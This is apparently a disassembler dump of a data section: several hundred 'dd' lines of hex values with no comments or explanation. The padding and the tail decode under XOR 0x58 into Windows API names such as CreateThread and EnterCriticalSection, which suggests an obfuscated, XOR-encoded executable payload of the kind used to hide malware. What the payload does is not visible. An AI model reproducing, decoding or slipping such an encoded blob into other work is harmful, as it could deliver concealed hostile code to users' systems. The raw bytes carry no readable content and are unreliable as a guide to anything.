dd 49D92C6Dh, 53B6DB48h, 1DD1BEAFh, 619ED180h, 301E2DA6h
dd 4849DD35h, 0A732C7B0h, 25EE57A7h, 0EE570FB1h, 570FB025h
dd 0FB625EEh, 0B325EE57h, 25EE570Fh, 0EE570FB7h, 570FB525h
dd 0FB225EEh, 0B425EE57h, 25EE570Fh, 0A7080FA7h, 4DA7502Dh
dd 48550170h, 0B3689CDBh, 0DD0A301Ch, 1B04849h, 57A7A732h
dd 0FB125EEh, 0B025EE57h, 25EE570Fh, 0EE570FB6h, 570FB325h
dd 0FB725EEh, 0B525EE57h, 25EE570Fh, 0EE570FB2h, 570FB425h
dd 0FA725EEh, 502DA708h, 1704DA7h, 9CDB4855h, 3060768h
dd 0D10D9B91h, 0B0809BDh, 2DA70F0Eh, 404DA750h, 0D1485D6Ah
dd 0D8B4F99Bh, 61104849h, 15DC579Bh, 30585859h, 4849DD15h
dd 0A731B7B0h, 0A70B08A7h, 5979F44Dh, 0A850FB48h, 10304858h
dd 0B04849DDh, 0A7A73180h, 8509CDBh, 0F44DA70Bh, 0FB485979h
dd 4859585Ch, 49D8C8F9h, 5CB0DB48h, 585C5D61h, 0DC574859h
dd 58585950h, 49D8FCF9h, 5FB0DB48h, 0A8505D61h, 0DC574858h
dd 585858ACh, 8A01DD5h, 8A41DD5h, 585C4DA7h, 9FD14859h
dd 49DA58F9h, 0A05D5B48h, 0DB4849D9h, 0A0615AB0h, 0A70B542Bh
dd 4933444Dh, 589EB148h, 6DD35858h, 4849D94Ch, 0F9A69EDBh
dd 4849D9F8h, 655B9FD1h, 4849D9DCh, 0B354B7DBh, 0A00DD375h
dd 78E54C61h, 2D485D6Ah, 0D3A6D178h, 4C61A40Dh, 510178E5h
dd 0B4A2A48h, 33444DA7h, 2DA74849h, 544DA750h, 0B34858A8h
dd 65631F27h, 4849DAFCh, 4CF9932Ah, 0DB4849DAh, 0E757A498h
dd 49D8F04Dh, 61885948h, 0A7752C9Eh, 108ED6Ch, 4DA74855h
dd 48493344h, 0D1A425D3h, 178ED64h, 65D34851h, 4858A850h
dd 0B8ED64D1h, 0D1485971h, 108ED44h, 6CB34855h, 0DAFC65D3h
dd 0DD34849h, 0E54CD1A0h, 485D6A78h, 8E544D1h, 0D3485501h
dd 58A85045h, 0E544D148h, 485971B8h, 0D1A405D3h, 178E544h
dd 5DA74851h, 4849DAFCh, 91030607h, 0BDD10D9Bh, 5E46FCE0h
dd 4B0FB058h, 0E0B5858h, 5405D30Fh, 49D9D8F9h, 4DE75748h
dd 4849D940h, 0B0DB8859h, 4CF90850h, 104849D9h, 0F95B3208h
dd 4849D890h, 0B8F90810h, 0DB4849D8h, 30085EB0h, 0D8585858h
dd 0A7502DA7h, 4933404Dh, 0E0DDD148h, 0DBA7A4A9h, 0A4A8F0FDh
dd 0FDDB58A7h, 0A7A4A9E8h, 0A7A0DB58h, 5D6CDC57h, 8CF95858h
dd 5B4849D8h, 49D9B45Dh, 50B0DB48h, 0ECDDD508h, 8A7A4A9h
dd 49D92CF9h, 2498DB48h, 0D8B45D5Bh, 0D5084849h, 0A4A999DDh
dd 0EDA708A7h, 0A7A4A9E0h, 0A86C4DA7h, 0DDD14858h, 0A7A4A9E4h
dd 49D8E8F9h, 4DE75748h, 4849D95Ch, 0B0DB8859h, 0E4DD615Dh
dd 57A7A4A9h, 585CE3DCh, 9CE5D858h, 60A7A4A9h, 0E5D84A2Dh
dd 0A7A4A99Dh, 0D8512D61h, 0A4A99EE5h, 5D2C39A7h, 585CC3B1h
dd 99E5D858h, 1FA7A4A9h, 0E5D84A2Dh, 0A7A4A99Ah, 0D8512D11h
dd 0A4A99BE5h, 5D2C1EA7h, 585C23B1h, 0DDEE5758h, 0A7A4A9B3h
dd 0D9BC4DD3h, 9ADB4849h, 2D88616Fh, 1AE5D84Ah, 65A7A4AAh
dd 0E5D8512Dh, 0A7A4AA1Bh, 0B15D2C65h, 58585C08h, 1E2D8351h
dd 0A72FF0B0h, 0D09AD1A7h, 0A1BB3ACDh, 1CDDD2A7h, 0D0A7A4AAh
dd 0A1BB3BDDh, 0D8E4F9A7h, 0E4D84849h, 0A4AA1C5Dh, 542D18A7h
dd 0A9E8DD9Fh, 5859A7A4h, 4AB35858h, 0BB3ADDD2h, 0DD62A7A1h
dd 0A7A1BB3Bh, 5C5EDC57h, 80F95858h, 0DB4849D8h, 0D5085EB0h
dd 0A4A9ECDDh, 183008A7h, 0D5585B55h, 0A1BB30DDh, 0EDA708A7h
dd 0A7A4A9E0h, 0A86C4DA7h, 0DDD14858h, 0A7A4A9E4h, 49D8E8F9h
dd 5DB0DB48h, 0A9E4DD61h, 0DC57A7A4h, 58585B9Ch, 0A9ECDDD3h
dd 4DD3A7A4h, 4849D958h, 0D051B2DBh, 0BB305DCCh, 1830A7A1h
dd 0D5585B55h, 0A4AA98DDh, 0DDD508A7h, 0A7A1BB30h, 5E37B008h
dd 9CDB5858h, 579ED154h, 0D89465E7h, 0B3174849h, 2C83511Dh
dd 0DCEE574Bh, 0A4AA9865h, 0D0A071A7h, 0AA9865DCh, 75B3A7A4h
dd 65DCEE57h, 0A7A4AA98h, 0BA04DDD1h, 0A0D1A7A1h, 0DDD1BFAFh
dd 0A7A1BA00h, 0BA04DDD3h, 0CDD3A7A1h, 0A7A1BA00h, 0DCD08871h
dd 0A4AA9865h, 0AF611FA7h, 8351EF2Ah, 0E7577B2Ch, 49D8885Dh
dd 5DB0DB48h, 9A71AAD1h, 49D97CF9h, 0D05D5B48h, 0DB4849D9h
dd 0DCD05FB0h, 0A4AA984Dh, 0D948F9A7h, 4DD34849h, 4849D930h
dd 0D9204D5Bh, 0B2DB4849h, 5DCCD053h, 0A7A4AA63h, 5858A730h
dd 3BDDD558h, 8A7A1BAh, 0A9B4DDD5h, 0B008A7A4h, 58585DE5h
dd 0BA3BDDD5h, 0E08A7A1h, 0AA98DDD5h, 0B008A7A4h, 0A7A736F6h
dd 0D1409CDBh, 0A4A9E4DDh, 0D990F9A7h, 0E7574849h, 49D9C04Dh
dd 0DB885948h, 0DD6151B0h, 0A7A4A9E4h, 5AF2DD57h, 0DD9F5858h
dd 0A7A4A8F0h, 58585859h, 0DC578351h, 58585918h, 49D988F9h
dd 0A05D5B48h, 0D84849D9h, 0AAEE5DE4h, 573CA7A4h, 5858CDDDh
dd 0DDEE5758h, 0A7A4AA99h, 3C4DE757h, 0DB4849D9h, 8871479Ah
dd 0BA3ADDD0h, 0EE57A7A1h, 0A1BA3ADDh, 0E8F908A7h, 5B4849D8h
dd 49DA5C5Dh, 5FB0DB48h, 0D353B008h, 6CF9A7A7h, 574849DAh
dd 0D9FC4DE7h, 88594849h, 0FB56B0DBh, 48597D88h, 49D9A4F9h
dd 0DAF8FB48h, 88F94849h, 5B4849D9h, 49D9485Dh, 4DE75748h
dd 4849DA48h, 0D9244D5Bh, 0B2DB4849h, 5DCCD054h, 0A7A4AAEAh
dd 49D9F4F9h, 85D5B48h, 0DB4849D9h, 0D5085DB0h, 0A4AA98DDh
dd 0DEB008A7h, 0DB58585Fh, 0E4F9489Ch, 0D84849D8h, 0AA985DE4h
dd 573FA7A4h, 58598FDDh, 0D8FCF958h, 4DD34849h, 4849D9B4h
dd 0F055E757h, 594849D8h, 5BB2DB92h, 9B5DCCD0h, 0D5A7A4AAh
dd 0A4AA99DDh, 4DA708A7h, 48595844h, 0BA04DDD1h, 3008A7A1h
dd 48490128h, 0A7A001B0h, 0D98CF9A7h, 5D5B4849h, 4849D9B4h
dd 0FB53B0DBh, 48597D88h
dd 49D8F8F9h, 905D5B48h, 0DB4849D9h, 0F8FB53B0h, 0F94849DAh
dd 4849D978h, 85FB0DBh, 0AA98DDD5h, 0B008A7A4h, 58585EA1h
dd 0B14C9CDBh, 58585900h, 0A9E8E5DBh, 2C58A7A4h, 284DA72Fh
dd 0D1484902h, 0A1BA04DDh, 0DD6130A7h, 39B04849h, 0A7A7A73Ch
dd 0A1BA04EDh, 0FC4DD3A7h, 124849D8h, 0CDD5080Ah, 0A7A1B905h
dd 704DA70Ah, 0D5485501h, 0A4A8F4DDh, 0E75708A7h, 49D8CC5Dh
dd 5AB0DB48h, 0DA4CF908h, 0B0DB4849h, 4432085Bh, 0CC5DE757h
dd 104849D9h, 584DA708h, 0D5485D72h, 0A1B905DDh, 0DDD508A7h
dd 0A7A4A8F4h, 744DA708h, 0DB4858A8h, 76B3449Ch, 49D978F9h
dd 0D5081048h, 0A4A8F4DDh, 0B7B008A7h, 30A7A7DEh, 4849DD69h
dd 0A73BBBB0h, 0CDD508A7h, 0A7A4A8F4h, 744DA70Ah, 0DB4858A8h
dd 78F94C9Ch, 0DB4849D9h, 300850B0h, 585858D8h, 0E7575A32h
dd 49D8C45Dh, 0F45D5B48h, 0DB4849D9h, 570850B0h, 0D9945DE7h
dd 0B0DB4849h, 58300851h, 0D5185858h, 0A4A8F4DDh, 4DA708A7h
dd 48493340h, 0BB3CDDD1h, 74F9A7A1h, 574849DAh, 0DA184DE7h
dd 88594849h, 857B0DBh, 0A9ECDDD5h, 0E08A7A4h, 0AA98DDD5h
dd 0A708A7A4h, 0A1BB3CEDh, 444DA7A7h, 0A7484937h, 0A1BB3CEDh
dd 104DA7A7h, 0DB485111h, 0A4A9E8E5h, 472D58A7h, 0DDD55D32h
dd 0A7A4A8F4h, 0CC4DA708h, 57485978h, 0BB3BDDEEh, 0B008A7A1h
dd 0A7A72D9Bh, 0B05DB301h, 0A7A7256Ah, 0A9E0EDA7h, 4DA7A7A4h
dd 48511110h, 0A8F0E5DBh, 2C58A7A4h, 502DA751h, 0A8544DA7h
dd 6074858h, 0D9B9103h, 0E757BDD1h, 49DA505Dh, 4DE75748h
dd 4849D994h, 0B0DB8859h, 4DA70852h, 4855017Ch, 0D914F901h
dd 5D5B4849h, 4849D958h, 853B0DBh, 5812DB30h, 0D8FCF948h
dd 0B0DB4849h, 4DA7085Fh, 48595848h, 9A0598B3h, 0D10D585Ch
dd 5868E0BDh, 36B05859h, 0B585855h, 0E7570F0Eh, 49D99C5Dh
dd 50B0DB48h, 579C5D61h, 0DC574859h, 58585A1Ch, 49D918F9h
dd 585D5B48h, 0DB4849D9h, 0A70852B0h, 49D9D86Dh, 0D92CF948h
dd 0B0DB4849h, 1DD5085Fh, 4DA708A4h, 4859579Ch, 54F99BD1h
dd 574849DAh, 0D8CC4DE7h, 88594849h, 615EB0DBh, 59DD579Bh
dd 0D558585Ah, 5708B01Dh, 0D9C05DE7h, 5D5B4849h, 4849D9B4h
dd 85CB0DBh, 49D958F9h, 51B0DB48h, 0A41DD308h, 0A760D308h
dd 9BD1600Fh, 1C5DE757h, 574849D9h, 0D8EC4DE7h, 88594849h
dd 6151B0DBh, 0F1DD579Bh, 57585859h, 0D89C5DE7h, 0B0DB4849h
dd 1DD5085Eh, 0E75708B4h, 49D8A05Dh, 5CB0DB48h, 0B01DD308h
dd 0A760D308h, 9BD1540Fh, 49D898F9h, 4DE75748h, 4849D9A8h
dd 0B0DB8859h, 579B6150h, 58596BDDh, 0BC1DD558h, 5DE75708h
dd 4849D9FCh, 85EB0DBh, 8B41DD5h, 49D990F9h, 5C5D5B48h
dd 0DB4849DAh, 0D30852B0h, 0D308A41Dh, 640FA760h, 0A0F99BD1h
dd 5B4849D9h, 49D8845Dh, 5FB0DB48h, 0DB2D9B61h, 49D948F9h
dd 51B0DB48h, 8C1DD508h, 0D978F908h, 0E7574849h, 49D8F04Dh
dd 0DB885948h, 0D3085FB0h, 0D308BC1Dh, 540FA760h, 70F99BD1h
dd 0DB4849DAh, 9B6150B0h, 0A711DD57h, 84F9A7A7h, 574849D9h
dd 0D9C04DE7h, 88594849h, 0DDD50810h, 0A7A6A788h, 8C1DD508h
dd 0B41DD508h, 0D9ACF908h, 0B0DB4849h, 1DD30851h, 60D308A4h
dd 0D1700FA7h, 5DE7579Bh, 4849DA50h, 0DA6C5D5Bh, 4DD34849h
dd 4849D8B0h, 7055E757h, 594849D9h, 5EB2DB92h, 945DCCD0h
dd 57A7A6A7h, 0D9FC5DE7h, 5D5B4849h, 4849D908h, 6152B0DBh
dd 0D5402D9Bh, 0A6A78DDDh, 0DDD308A7h, 0A7A6A788h, 0B05C28A7h
dd 0A7A72987h, 0D5509CDBh, 0A6A78DDDh, 2DD508A7h, 48B4DB8Ch
dd 5CE1BFD1h, 0AB585858h, 0B42DD5FDh, 0D148B4DBh, 585CE1BFh
dd 0FDAB5858h, 0B0A42DA7h, 0A7A7C14Dh, 0B1709CDBh, 0A7A7A754h
dd 49D94CF9h, 0F45D5B48h, 0DB4849D8h, 1D6150B0h, 0D3512CBCh
dd 0D308BC1Dh, 500EA768h, 49D8C0F9h, 805D5B48h, 0DB4849D9h
dd 1D6155B0h, 0D3512CB0h, 0D308B01Dh, 500EA768h, 49D8B4F9h
dd 1D611048h, 0D3512CA4h, 0D308A41Dh, 500EA768h, 91030607h
dd 0BDD10D9Bh, 5C44B4D9h, 0E0B5858h, 6DE7570Fh, 4849D8F0h
dd 0E75745B3h, 49D93C4Dh, 55E75748h, 4849D9C8h, 0B2DB9259h
dd 0D182AF50h, 0A458EDCCh, 0F91EA7A7h, 4849D97Ch, 5858A65Dh
dd 2A9E6158h, 0D9C4F98Dh, 0E7574849h, 49DA1C4Dh, 0DB885948h
dd 0DDD153B0h, 0A7A7A3A4h, 0D97465D3h, 9FDB4849h, 5DE7577Fh
dd 4849D894h, 43B39F59h, 0DA6C4DD3h, 4D5B4849h, 4849D9ACh
dd 0D155B2DBh, 0D18959A1h, 0A458E5D4h, 0F91FA7A7h, 4849DA60h
dd 616298DBh, 0D3812A9Fh, 0E7575405h, 49DA1C6Dh, 5FB6DB48h
dd 9C65E757h, 0DB4849D8h, 6FB35EB7h, 5C4DE757h, 0DB4849D9h
dd 0A1D1199Ah, 0E4D18959h, 0A7A458D5h, 584DD3A7h, 0DB4849D9h
dd 0A1D1009Ah, 4DD38959h, 4849D9E4h, 0D14C9ADBh, 0D18859A0h
dd 0A458D5DCh, 571FA7A7h, 0D91C5DE7h, 0E7574849h, 49D8C44Dh
dd 481CD548h, 2A9F6148h, 984DD3EBh, 0D34849D8h, 49D8E455h
dd 6799DB48h, 0ECCDD4D1h, 57A7A7A4h, 0D9C04DE7h, 55D34849h
dd 4849D9B4h, 5B6C99DBh, 49D98855h, 0CDD4D148h, 0A7A7A4F0h
dd 705DE757h, 5B4849D9h, 49DA705Dh, 55B0DB48h, 0A3ACDDD1h
dd 1DD3A7A7h, 541D5B48h, 0A3A0DDD1h, 25D3A7A7h, 5919B150h
dd 0E6575858h, 5ABA994Fh, 584DECD3h, 0F9A7A7A4h, 4849D9ECh
dd 0AF5BB0DBh, 579E6180h, 585979DCh, 0A4DDD358h, 51A7A7A3h
dd 55D45798h, 0DB585859h, 0D7575BA0h, 5858595Ch, 38DD7CA7h
dd 0A74849DCh, 0A7A3A4DDh, 58AAB1A7h, 0CDD35858h, 0A7A7A3ACh
dd 1855E757h, 0DB4849DAh, 88D15EB1h, 0DDD1B88Bh, 0A7A7A3B0h
dd 0BADBAAD1h, 4C55D368h, 5B4849D9h, 49DA5855h, 5AB1DB48h
dd 0A08B88D1h, 0A3B0CDD3h, 9A51A7A7h, 0A3ABCDD0h, 80D1A7A7h
dd 0ABCDD21Bh, 0D0A7A7A3h, 0A4DDA748h, 0B1A7A7A3h, 585858C4h
dd 0A3ACCDD3h, 0BADBA7A7h, 55E75757h, 4849D9C0h, 49DA60F9h
dd 5914D548h, 8B88D15Bh, 0BCDDD1B8h, 0D1A7A7A3h, 64BADBAAh
dd 0D8B855D3h, 555B4849h, 4849D9A4h, 0D15CB1DBh, 0D3A08B88h
dd 0A7A3BCCDh, 0D09A51A7h, 0A7A3ABCDh, 1B80D1A7h, 0A3ABCDD2h
dd 48D0A7A7h, 0A3A4DDA7h, 18B3A7A7h, 0A3ACCDD3h, 0BADBA7A7h
dd 55E7575Bh, 4849D940h, 0D9F8555Bh, 0B1DB4849h, 8B88D152h
dd 519AD1B8h, 0ABCDD0AAh, 0D1A7A7A3h, 0CDD21B80h, 0A7A7A3ABh
dd 50F948D0h, 0DB4849D9h, 0DDD150B0h, 0A7A7A3A4h, 0A3ACEDD1h
dd 0D81FA7A7h, 542C5867h, 0A3A0C563h, 0DA57A7A7h, 0A7A7A6F6h
dd 2D5867D8h, 7380D15Fh, 50B3541Dh, 49D984F9h, 80AF1848h
dd 91030607h, 0BDD10D9Bh, 0F0E0B09h, 0A85DE757h, 0DB4849D9h
dd 30085EB0h, 585858D8h, 20F95C32h, 5B4849D9h, 49D9EC5Dh
dd 55B0DB48h, 0D978F908h, 0E7574849h, 49D9F04Dh, 0DB885948h
dd 300850B0h, 18585858h, 516A6830h, 404DA748h, 0D1484933h
dd 0F958329Fh, 4849D9E0h, 0D8985D5Bh, 0B0DB4849h, 2DA7085Eh
dd 4DA70F54h, 48493768h, 0D1501DD3h, 0A790DB99h, 5964D818h
dd 0D1A12D58h, 0B845D39Eh, 0DB4849D9h, 0D50B5CB3h, 0E0BA405h
dd 0F502DA7h, 37444DA7h, 0A70F4849h, 5111104Dh, 3060748h
dd 300F9B91h, 4849DD79h, 0A704BFB0h, 0A70801A7h, 597DC04Dh
dd 0DA30FB48h, 0E7574849h, 49D9C85Dh, 50B0DB48h, 0DA305D61h
dd 4F2D4849h, 49DD4930h, 4E6B048h, 801A7A7h, 6A404DA7h
dd 30FB485Dh, 304849DAh
dd 4849DD58h, 0A704FFB0h, 6DA708A7h, 4849DA30h, 79F44DA7h
dd 6CFB4859h, 30484937h, 4849DCB6h, 0A704D3B0h, 6DA708A7h
dd 4849DA30h, 79F44DA7h, 54FB4859h, 30485958h, 4849DC86h
dd 0A70437B0h, 6DA708A7h, 4849DA30h, 79F44DA7h, 1CFB4859h
dd 30484928h, 4849DC97h, 0A7040BB0h, 6DA708A7h, 4849DA30h
dd 79F44DA7h, 10FB4859h, 304858A8h, 4849DCE7h, 0A7046FB0h
dd 4C9CDBA7h, 306DA708h, 0A74849DAh, 5979F44Dh, 6A7CFB48h
dd 9B074851h, 0D9BDD10Dh, 585900B4h, 0F0E0B58h, 0A73663B0h
dd 3C44B0A7h, 4BB0A7A7h, 0B0A7A7A7h, 0A7A7B1D6h, 0A7B747B0h
dd 0E08AB0A7h, 0E7B0A7A7h, 0B0A7A7E1h, 0A7A7F454h, 0A724B0B0h
dd 9B05B0A7h, 0CEB0A7A7h, 0D1A7A798h, 350DB09Eh, 9AD1A7A7h
dd 0A6E4CDD0h, 0EE57A7A7h, 0A7A6E4DDh, 584DD3A7h, 5B4849DAh
dd 49DA104Dh, 5FB2DB48h, 4D2D8861h, 49D8C8F9h, 505D5B48h
dd 0DB4849D9h, 0A70853B0h, 4901384Dh, 0DDEE5748h, 0A7A7A6E4h
dd 0D9344DD3h, 0B2DB4849h, 2D88615Ch, 0D954F940h, 98DB4849h
dd 805D5B04h, 84849D8h, 17C4DA7h, 0B3014855h, 57AE51C0h
dd 585887DDh, 0DCEC3058h, 39B04849h, 0D1A7A703h, 0A7A6E8DDh
dd 0DCF230A7h, 9B04849h, 8A7A703h, 0A6E8CDD3h, 0D50AA7A7h
dd 0A7A6E5CDh, 4DA70AA7h, 48550170h, 0A6E5DDD5h, 3208A7A7h
dd 0DA68F958h, 0E7574849h, 49D9404Dh, 0DB885948h, 0A70851B0h
dd 5101504Dh, 309FD148h, 4849DCC6h, 0A70357B0h, 0F4DDD1A7h
dd 30A7A7A6h, 4849DCCCh, 0A702A7B0h, 6C4DD3A7h, 574849DAh
dd 0D8AC55E7h, 92594849h, 0A5CB2DBh, 0F4CDD308h, 0AA7A7A6h
dd 0A6E5CDD5h, 0A70AA7A7h, 5501704Dh, 749CDB48h, 0A6E5DDD5h
dd 3208A7A7h, 846DA759h, 0A74849D9h, 5101504Dh, 0F99FD148h
dd 4849D898h, 615AB0DBh, 0A7542D9Fh, 49DA7C6Dh, 384DA748h
dd 0F9484901h, 4849D8B8h, 57A998DBh, 0D9404DE7h, 88594849h
dd 4DA70F08h, 48550178h, 3C5DE757h, 104849D9h, 0C04DA708h
dd 0D148597Dh, 325DD59Bh, 0D1485806h, 1D9F981Dh, 58585D80h
dd 5DE75758h, 4849D9CCh, 9A599AD1h, 0B0DB88D1h, 881DD15Ah
dd 0C85DE757h, 0DB4849D9h, 1DD150B0h, 9405D18Ch, 49DA44F9h
dd 905D5B48h, 0DB4849D9h, 1DD154B0h, 0E41D9F90h, 5858585Bh
dd 49DCD230h, 27EB048h, 1DD1A7A7h, 0D898F9B8h, 5D5B4849h
dd 4849D8E0h, 0D15EB0DBh, 34F99C1Dh, 0DB4849D9h, 1DD15DB0h
dd 0E41DD584h, 0C84DA708h, 30485978h, 4849CF9Bh, 0A701ABB0h
dd 0F0DDD1A7h, 30A7A7A6h, 4849DCD8h, 0A701BBB0h, 0AC4DD3A7h
dd 0DB4849D9h, 0B0A51B2h, 9C4DE757h, 5B4849D9h, 49D9184Dh
dd 51B2DB48h, 0E04DD30Ah, 0DB4849D9h, 0D30A5CB2h, 49D88C4Dh
dd 55E75748h, 4849DA48h, 0B2DB9259h, 4DD30A52h, 4849D8FCh
dd 0D88455D3h, 89594849h, 953B1DBh, 0D9E855D3h, 555B4849h
dd 4849D990h, 957B1DBh, 0D97C4D5Bh, 0B2DB4849h, 58300A51h
dd 8589258h, 0A6F0CDD3h, 570AA7A7h, 0D9C04DE7h, 4D5B4849h
dd 4849DA54h, 0A5DB2DBh, 11644DA7h, 98FB4851h, 0D548597Dh
dd 0A7A6E0DDh, 0B00B08A7h, 0A7A722FFh, 0A6ECDDD1h, 5832A7A7h
dd 0A7C34EB0h, 409CDBA7h, 0A6E0DDD3h, 9CFBA7A7h, 0D348597Dh
dd 0A7A6ECDDh, 0A4FBA7h, 0AE514851h, 70B0402Dh, 0F9A7A7E1h
dd 4849D8B0h, 0DA645D5Bh, 0FB104849h, 48550174h, 0E75749B3h
dd 49D9B05Dh, 62C95D48h, 74FB5858h, 30485501h, 48589327h
dd 0A721FBB0h, 0AE5101A7h, 75B0722Dh, 0B0A7A79Eh, 0A7A7AE46h
dd 0A7910CB0h, 2A84B0A7h, 4CB3A7A7h, 8BC1DD5h, 3584DA7h
dd 1DD54849h, 4DA708BCh, 48595840h, 3C5DE757h, 104849D9h
dd 0D9E0F908h, 0B0DB4849h, 0E757085Ch, 49DA185Dh, 50B0DB48h
dd 0BC1DD508h, 104DA708h, 5148516Dh, 7992D98h, 9A910306h
dd 0D10D585Ch, 0CB4DBBDh, 0F90F0E0Bh, 4849D8E8h, 0D9245D5Bh
dd 0B0DB4849h, 2DA70853h, 502DA748h, 0A7942EB0h, 549CDBA7h
dd 0DDF41DD1h, 28DD5798h, 3058585Ah, 4849DC28h, 0A7D445B0h
dd 0A70801A7h, 5958544Dh, 0A81DD148h, 0B01D9F3Eh, 1DD55850h
dd 2DD508A0h, 48B4DBB0h, 5CE1BFD1h, 0AB585858h, 4825D3FDh
dd 0A767D30Fh, 9BD1680Fh, 9C5DE757h, 574849D8h, 0D99C4DE7h
dd 88594849h, 6156B0DBh, 58DD579Bh, 0D558585Ah, 3008981Dh
dd 4849C260h, 8A01DD3h, 4CA760D3h, 58585865h, 579BD158h
dd 0D8CC5DE7h, 5D5B4849h, 4849D980h, 615EB0DBh, 9FDD579Bh
dd 3E585859h, 5A881D9Fh, 0DA44F958h, 0E7574849h, 49DA184Dh
dd 0DB885948h, 1DD154B0h, 0BC1DD580h, 882DD508h, 0D148B4DBh
dd 585CE1BFh, 0FDAB5858h, 0DB882DD5h, 0BFD148B4h, 58585CE1h
dd 0D3FDAB58h, 0D30F9825h, 740FA767h, 78F99BD1h, 0DB4849DAh
dd 9B615AB0h, 593FDD57h, 14F95858h, 0DB4849DAh, 1DD151B0h
dd 0A41DD5A4h, 0C2103008h, 1DD34849h, 60D308BCh, 58654CA7h
dd 0D1585858h, 0DA54F99Bh, 0B0DB4849h, 579B615Ch, 585973DDh
dd 885DA758h, 0F948597Dh, 4849D938h, 0DA585D5Bh, 0B0DB4849h
dd 885D615Ah, 2A48597Dh, 0D8A8F979h, 98DB4849h, 105D5B5Bh
dd 0FB4849DAh, 48597D88h, 0B0A42DA7h, 0A7A736F9h, 58BDB101h
dd 0E7575858h, 49D9CC5Dh, 0D45D5B48h, 0DB4849D9h, 1DD15AB0h
dd 0E81DD5E0h, 446DA708h, 0B04858A8h, 0A7A7BB8Eh, 0D5941DD1h
dd 0A708EC1Dh, 59578C6Dh, 0BB9CB048h, 1DD1A7A7h, 0E41DD590h
dd 786DA708h, 0B0485110h, 0A7A7BBEAh, 0D1409CDBh, 25DB9C1Dh
dd 432C58E4h, 4F2C98DDh, 1DD51B32h, 2DA708E0h, 0E42DA7A4h
dd 0B09C2DA7h, 0A7A7E8E1h, 0DB4C9CDBh, 2C58EC25h, 9025DB45h
dd 324F2C58h, 0E01DD508h, 0A42DA708h, 0A7EC2DA7h, 0CEB0902Dh
dd 0DBA7A7E8h, 25DB4C9Ch, 452C58E8h, 589425DBh, 1C324F2Ch
dd 8E01DD5h, 0A7A42DA7h, 2DA7E82Dh, 0E82BB094h, 9CDBA7A7h
dd 902DA74Ch, 7D944DA7h, 2DA74859h, 944DA79Ch, 0A748597Dh
dd 4DA7942Dh, 48597D94h, 0CC5DE757h, 184849D9h, 482DA708h
dd 0B0502DA7h, 0A7A79263h, 0D3549CDBh, 0D308A41Dh, 500EA768h
dd 8BC1DD3h, 0EA768D3h, 981DD350h, 0A768D308h, 1DD3500Eh
dd 68D308A0h, 0D5500EA7h, 0A708B01Dh, 49376C4Dh, 0D9F4F948h
dd 5D5B4849h, 4849D8F8h, 615DB0DBh, 7582C9Bh, 9B910306h
dd 581859E0h, 58489AD8h, 0B4D901C8h, 58584858h, 58485875h
dd 7C5CDD58h, 58485865h, 71B32B58h, 7C5CDD9Ch, 19B09h
dd 995B98DBh, 0B8995AB0h, 4858655Ah, 46245858h, 8308BAD1h
dd 54D17C5Ch, 7C5C837Ch, 0A7A798B0h, 0A8CD1A7h, 0D37C4483h
dd 44837C54h, 9C71007Ch, 589FB8D1h, 58585858h, 589B0909h
dd 18986958h, 5858549Ah, 64810858h, 7C5CD37Ch, 7C6CE257h
dd 54D93E50h, 815A587Ch, 0D0017C74h, 5BB8DBB8h, 6481089Bh
dd 0ABB3007Ch, 7C648108h, 3E7C5CD3h, 587C54D9h, 58B8B35Bh
dd 0B4D90158h, 58584858h, 58485875h, 7C5CDD58h, 58485865h
dd 71B32B58h, 7C5CDD9Ch, 5858B9A7h, 7C0CD358h, 0E1986950h
dd 0A7A7A7A7h, 0F6AAA2DFh, 11D581AFh, 7C1CD3A7h, 24D3CE50h
dd 0FCAB5C7Ch, 0D38FDFCEh, 9A5C7C1Ch, 58585850h, 0F47DA758h
dd 0C84849F8h, 585858C8h, 0E87DA758h, 0C84849F8h, 585858C8h
dd 0EC7DA758h, 0C84849F8h, 585858C8h, 987DA758h, 0C84849F8h
dd 585858C8h, 9C7DA758h, 0C84849F8h, 585858C8h, 907DA758h
dd 0C84849F8h, 585858C8h
dd 947DA758h, 0C84849F8h, 585858C8h, 887DA758h, 0C84849F8h
dd 585858C8h, 8C7DA758h, 0C84849F8h, 585858C8h, 807DA758h
dd 0C84849F8h, 585858C8h, 847DA758h, 0C84849F8h, 585858C8h
dd 5Fh dup(58585858h), 58BD2058h, 58585848h, 4 dup(58585858h)
dd 582B7D58h, 2A582F58h, 1Ch dup(58585858h), 58585C58h
dd 58585A58h, 58585158h, 58585E58h, 58585B58h, 58585F58h
dd 58585858h, 58585F58h, 2 dup(58585D58h), 58585C58h, 58585858h
dd 58585A58h, 58585E58h, 2 dup(58585958h), 58585E58h, 58585D58h
dd 58585E58h, 58585C58h, 58585E58h, 58585D58h, 2 dup(58585958h)
dd 58585B58h, 58585A58h, 58585D58h, 58585A58h, 58585158h
dd 58585858h, 58585058h, 58585A58h, 58585158h, 58585958h
dd 58585058h, 58585A58h, 58585058h, 58585A58h, 58585D58h
dd 58585058h, 58585958h, 58585A58h, 58585B58h, 58585158h
dd 58585958h, 58585C58h, 58585958h, 58585A58h, 58585C58h
dd 58585058h, 58585B58h, 58585C58h, 58585F58h, 58585958h
dd 58585A58h, 58585D58h, 58585C58h, 58585F58h, 58585158h
dd 58585F58h, 58585858h, 58585C58h, 58585D58h, 58585958h
dd 58585058h, 2 dup(58585958h), 58585C58h, 58585058h, 58585E58h
dd 58585858h, 58585A58h, 58585F58h, 2 dup(58585C58h), 58585E58h
dd 58585958h, 2 dup(58585058h), 58585158h, 58585F58h, 58585058h
dd 58585C58h, 58585858h, 2 dup(58585C58h), 58585F58h, 58585B58h
dd 58585E58h, 58585158h, 58585B58h, 58585858h, 58585D58h
dd 58585A58h, 58585958h, 58585C58h, 58585D58h, 58585B58h
dd 58585858h, 58585C58h, 58585A58h, 58585958h, 58585058h
dd 58585F58h, 58585958h, 58585058h, 2 dup(58585858h), 58585058h
dd 58585F58h, 58585C58h, 58585158h, 10h dup(58585858h)
dd 58B03858h, 39585858h, 585858B1h, 3 dup(58585858h), 5832D958h
dd 58D05B48h, 58D22048h, 580FC348h, 58902548h, 58F67E48h
dd 5806D048h, 58585848h, 587D0E58h, 587D6748h, 581CB948h
dd 581F4B48h, 58BD4B48h, 58FA8848h, 587CB148h, 49DA9048h
dd 58585848h, 5895CB58h, 589F9248h, 581D5048h, 58FFD548h
dd 587D6F48h, 580A2448h, 580E0A48h, 49DAB448h, 393D1448h
dd 2A1B3D2Eh, 3B312C31h, 3D0B3439h, 37312C3Bh, 2A1B5836h
dd 3D2C393Dh, 3D2A300Ch, 1D583C39h, 2A3D2C36h, 2C312A1Bh
